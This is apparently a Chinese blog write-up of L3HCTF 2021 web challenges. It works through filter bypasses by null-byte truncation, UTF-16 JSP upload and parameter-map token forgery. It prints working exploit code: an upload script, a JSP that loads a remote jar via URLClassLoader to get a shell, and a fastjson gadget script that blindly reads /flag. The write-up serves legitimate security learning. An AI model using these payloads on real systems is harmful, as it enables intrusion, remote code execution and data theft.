[2021XCTF]L3HCTF-Writeup(Web)

写在前面

这周刚好比较空就抽了点时间打了下,质量挺高的还是

Web

Image Service 1

首先我不会go逆向,也不可能逆向,什么快乐elf看不见在这里插入图片描述注册个账号,发现密码不能是admin
进去可以上传图片
flag在admin账户上传的图片中 源码都被编译了
感觉在任何地方输入admin 都会被ban,
在这里插入图片描述

伪造header也都不行
f12我查看源码的时候发现居然是支持表单提交
在这里插入图片描述
不会逆向go,那无源码情况下只能靠渗透时候的一些思路,
通过数组、变异payload、多空格等尝试,最终发现可以通过00截断,成功绕过后端检验
在这里插入图片描述
访问第二个url,拿到flag1
在这里插入图片描述

Image Service 2

后面发现附件更新,有了flag2的uuid
在这里插入图片描述

我尝试了下本地修改伪造token似乎不太行,可能与其他不知道的参数有关
在这里插入图片描述

也发现无论repeat多少次,只要别的参数都一样 token 就一样,而且相同图片的uid分享后不会变
之后无意间看到docker日志,这里输出了两个token的值,觉得这里很奇怪
在这里插入图片描述

结合上面那一条日志猜想会不会传类似日志中map方式可以绕过,确实有效果很神奇,原本的blur模糊参数空间被屏蔽了
在这里插入图片描述

此时也是输出两个相同token,说明我们确实成功了
在这里插入图片描述

同理接下来我们只要能屏蔽x1坐标的值,就能得到flag
在这里插入图片描述

最后去题目环境下拿到flag
首先获取token
在这里插入图片描述

屏蔽参数获取flag
在这里插入图片描述

Easy PHP

比较奇怪的现象,双击username没问题
在这里插入图片描述

password就有问题在这里插入图片描述
整行复制后编码可以看到这里多了一些神奇的字符
在这里插入图片描述
只恢复[],""等字符,并删除注释,最终恢复出来是这个
在这里插入图片描述
按照上图中方式传参数,成功拿到flag
在这里插入图片描述

bypass

后缀用jsjspp绕过 主要还是文件内容

public static boolean checkValidChars(String content) {
    
    
    Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
    Matcher matcher = pattern.matcher(content);
    return matcher.find();
}

主要还是绕文件内容的检测了,绕可见字符的检测,还有一个BlackWordsDetect
在这里插入图片描述
就很好奇为什么正则过了还有黑名单 ,只能说明一点,那就是最终写入的一定是一个正常的文件,这个时候,试试能否通过转换编码为utf-16,写个脚本

#coding:utf-8
import requests

def uploads(filedata, filename):
    with open(filename, 'wb') as f:
        f.write(filedata)

    r = requests.post('http://123.60.20.221:10001/UploadServlet', files={
    
    "filename": open(filename, "rb")})

    print(r.text)
    if "文件上传成功! 文件路径: /usr" in r.text:
        url = "http://123.60.20.221:10001/" + r.text.replace(
            "文件上传成功! 文件路径: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/", "")
        print(url)
        r = requests.get(url)
        print(r.text)


if __name__ == '__main__':
    data = '''<% out.print("23333"); %>'''.encode("utf-16")
    uploads(data, "1.jsjspp")

成功输出了结果,说明思路没问题
在这里插入图片描述
接下来通过不断的尝试,发现黑名单有Runtime、\u、ScriptEngine、newInstance、ProcessBuilder、invoke、File、defineClass、lookup,JdbcRowSetImpl等

绕过方法一

绕过也很简单,配合UrlClassLoader与Class.forName在初始化对象时候执行命令

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
    URL url = new URL("http://4xxxx212/abc.jar");

    URLClassLoader ucl = new URLClassLoader(new URL[]{
    
    url});

    Class.forName("com.yyds.yy",true,ucl);

%>

首先写一个恶意类,打包jar上传服务器
在这里插入图片描述
成功拿到shell,获得flag
在这里插入图片描述

绕过方法二

只过滤了小写的lookup,但是还是可以jndi
在这里插入图片描述
看静态方法学费了吗
在这里插入图片描述

绕过方法N

有些东西就不放出来了,反正绕过很多就是,只能说凡是多想多思考不无脑百度

cover

非预期

发现注册功能失效这时候想到弱口令。这题比较神奇我只能说
后台弱口令,任意用户名/123456
在这里插入图片描述
这里看着像有问题
在这里插入图片描述
瞎输入报错得到一个版本号
在这里插入图片描述
这里结合到题目给了JDK_HOME:/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4.x86_64,猜测预期应该是覆盖charsets去rce的,网上链子没搞出来

非预期参考Blackhat议题
在这里插入图片描述
这里给了一个让我们读文件的方法,当然不能无脑使用,利用的时候需要有个返回点来判断
当然第一个字母肯定是76,按照flag格式来看
在这里插入图片描述
成功了
在这里插入图片描述
简单写个脚本跑

# coding:utf-8
import requests
import string

flag = ""
tmp = ""
flagBytes = ""
strings = string.printable
sess = requests.session()
url = "http://124.71.173.23:8088/"
dataLogin = {
    
    
    "userName": "y4tacker",
    "password": "123456",
    "email": ""
}
r = sess.post(url + "login", data=dataLogin)
r = sess.get("http://124.71.173.23:8088/main.html")

tmplate = '[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[76]}]},"address":{"$ref":"$.abc.BOM"}}}]'


while 1:
    for i in strings:
        tmp = (str(ord(i))+",")
        tmplate = '[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[' + (
                    flagBytes + tmp) + ']}]},"address":{"$ref":"$.abc.BOM"}}}]'
        dataFlag = {
    
    
            "data": tmplate
        }
        r = sess.post(url + "dynamic_table", data=dataFlag)

        if b"bOM" in r.content:
            flag += i
            flagBytes += tmp
            print(flag)
            if "}" == i:
                exit(0)
            break
        else:
            pass

最后得到结果
在这里插入图片描述

预期方法

fastjson任意写,spi provider rce,暂时不会后面补上

Guess you like

Origin blog.csdn.net/solitudi/article/details/121363886